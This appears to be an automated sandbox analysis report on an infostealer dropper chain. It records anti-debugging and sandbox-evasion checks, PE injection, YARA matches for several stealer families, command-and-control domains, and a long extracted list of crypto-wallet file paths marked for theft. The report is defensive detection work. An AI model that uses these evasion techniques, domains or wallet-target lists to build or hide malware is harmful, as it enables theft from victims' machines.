Source: random.exe.7.exe, 00000000.00000002.2688381816.000000000122F000.00000040.00000001.01000000.00000003.sdmp, BKKFCFBKFC.exe, 0000000E.00000001.2665402129.0000000000208000.00000080.00000001.01000000.0000000B.sdmp, BKKFCFBKFC.exe, 0000000E.00000002.2719401028.0000000000208000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2751464829.0000000000EE8000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2760239902.0000000000EE8000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3323025041.0000000000EE8000.00000040.00000001.01000000.0000000E.sdmp, 0ee5eba208.exe, 00000015.00000002.3213035575.00000000005FF000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: F7hGfsX1sRaIfeD1h5f

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\random.exe.7.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe.7.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\random.exe.7.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\random.exe.7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

Code function: 14_2_04850E3E rdtsc

14_2_04850E3E

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

Code function: 14_2_00025C10 LdrInitializeThunk,RegOpenKeyExA,RegCloseKey,

14_2_00025C10

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C535FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C535FF0

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_0005652B mov eax, dword ptr fs:[00000030h]	14_2_0005652B
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_0005A302 mov eax, dword ptr fs:[00000030h]	14_2_0005A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D3A302 mov eax, dword ptr fs:[00000030h]	15_2_00D3A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D3652B mov eax, dword ptr fs:[00000030h]	15_2_00D3652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D3A302 mov eax, dword ptr fs:[00000030h]	16_2_00D3A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D3652B mov eax, dword ptr fs:[00000030h]	16_2_00D3652B

Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C50B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C50B66C
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C50B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C50B1F7

Source: C:\Users\user\Desktop\random.exe.7.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: random.exe.7.exe PID: 6800, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe

Memory written: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lossekniyyt.click

Source: C:\Users\user\Desktop\random.exe.7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BKKFCFBKFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\BKKFCFBKFC.exe "C:\Users\user\Documents\BKKFCFBKFC.exe"	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe "C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe "C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe"
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe "C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe"

Source: BKKFCFBKFC.exe, 0000000E.00000002.2719886143.000000000024D000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2751762956.0000000000F2D000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2760505602.0000000000F2D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Program Manager
Source: 0ee5eba208.exe, 00000015.00000002.3213035575.00000000005FF000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: }7Program Manager
Source: random.exe.7.exe, random.exe.7.exe, 00000000.00000002.2688927921.0000000001270000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: `Program Manager
Source: BKKFCFBKFC.exe, 0000000E.00000002.2719886143.000000000024D000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2751762956.0000000000F2D000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2760505602.0000000000F2D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: d-Program Manager

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C50B341 cpuid

0_2_6C50B341

Source: C:\Users\user\Desktop\random.exe.7.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\random.exe.7.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C4D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4D35A0

Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lordpe.exe
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: regmon.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 17.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.BKKFCFBKFC.exe.20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.2759867420.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2677929043.0000000004650000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2719104644.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3322148695.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2718696114.0000000000021000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2751059982.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2710537857.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2925063358.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 18.0.Cq6Id6x.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Cq6Id6x.exe.36c94e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Cq6Id6x.exe.36c94e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000016.00000003.3184439124.0000000003160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3178108749.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3197552170.0000000003170000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3185126832.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2686782883.0000000000E51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2072783452.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2685829562.000000000044E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: random.exe.7.exe PID: 6800, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: random.exe.7.exe PID: 6800, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match

File source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
